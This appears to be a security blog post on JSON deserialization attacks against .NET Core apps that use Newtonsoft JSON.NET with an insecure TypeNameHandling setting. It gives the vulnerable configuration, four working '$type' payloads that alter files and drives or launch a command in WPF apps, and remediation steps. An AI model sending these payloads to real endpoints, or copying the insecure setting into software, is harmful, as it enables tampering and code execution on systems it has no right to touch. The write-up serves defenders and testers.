

Exploiting JSON serialization in .NET core

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Applications written in .net core can be vulnerable to JSON deserialization attacks. There has been some research on exploiting this in the full .net framework but not much on exploiting this in .net core.

More information about JSON deserialization issues on the full .net framework: <https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf>

YSOSerial .net is a tool that allows the creation of JSON payloads. Currently, these payloads only work on the full .net framework.

Vulnerable configuration

JSON deserialization can get abused in Newtonsoft JSON .net when a specific configuration is used. More specifically when "TypeNameHandling" is different from "None" in the "JsonSerializationSettings". By default, TypeNameHandling is set to "None".

When this configuration is set to anything other than "None" a new property is written to the output when serializing. The "\$type" property. This property contains information about the type that was serialized. When the object is deserialized the type property is used to deserialize the object to the expected type.

These are the `TypeNameHandling` values:

- None, Do not include the type name when serializing types

Objects, Include the .NET type name when serializing into a JSON object structure.

- Array, Include the .NET type name when serializing into a JSON array structure.
- All, Always include the .NET type name when serializing.

- Auto, Include the .NET type name when the type of the object being serialized is not the same as its declared type.

Another requirement for this to work is that the JSON is deserialized to a derived type of our exploit type or to the generic “object” type.

With this insecure configuration it’s possible for an attacker to serialize any object even objects that you wouldn’t expect.

Example of a vulnerable configuration:

```
var deserialized = JsonConvert.DeserializeObject<object>(json, new
JsonSerializerSettings()
{
    TypeNameHandling = TypeNameHandling.All
});
```

This can also be achieved by setting an attribute on a property.

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Example:

```
[JsonProperty(TypeNameHandling = TypeNameHandling.All)]
public object Body { get; set; }
```

Finding candidates

Not all objects can get deserialized with JSON .NET. The object needs to have either an empty constructor or one constructor with parameters.

Writable properties can also be written when deserializing an object.

Payloads

These payloads can get used on a default .net core application that uses JSON .NET with a vulnerable configuration. An attacker could pass these payloads to an endpoint that parses JSON to trigger the exploit.

Make a file read-only

```
{
  "$type": "System.IO.FileInfo, System.IO.FileSystem",
  "fileName": "test.txt",
  "isReadOnly": true
}
```

Changing the disk name in Windows. Requires administrative privileges.

This payload changes the label of the d drive to “changed volume”.

```
{
  "$type": "System.IO.DriveInfo, System.IO.FileSystem.DriveInfo",
  "driveName": "d",
  "VolumeLabel": "changed volume"
}
```

Changing file attributes.

This payload changes file attributes. In this example, the file “test.txt” is hidden by setting the file attributes to value 2.

The full list of file attribute values can be found here: <https://docs.microsoft.com/en-us/dotnet/api/system.io.fileattributes?view=net-6.0>

```
{
  "$type": "System.IO.FileInfo, System.IO.FileSystem",
  "fileName": "test.txt",
  "attributes": 2
}
```

Execute a command. This only works in WPF applications!

This payload launches a calculator. This **only** works on WPF applications with .net core. This will throw an exception when used against a .net core web application since it can’t find the “PresentationFramework” reference.

```
{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib",
    "$values": [ "cmd", "/c calc.exe" ]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System"
  }
}
```

Remediation:

- Set “TypeNameHandling” to “TypeNameHandling.None” in the JsonSerializerSettings. This is the default.
- Be more specific about the de-serializable object. Use `JsonConvert.DeserializeObject<MyObject>` instead of `JsonConvert.DeserializeObject<object>`

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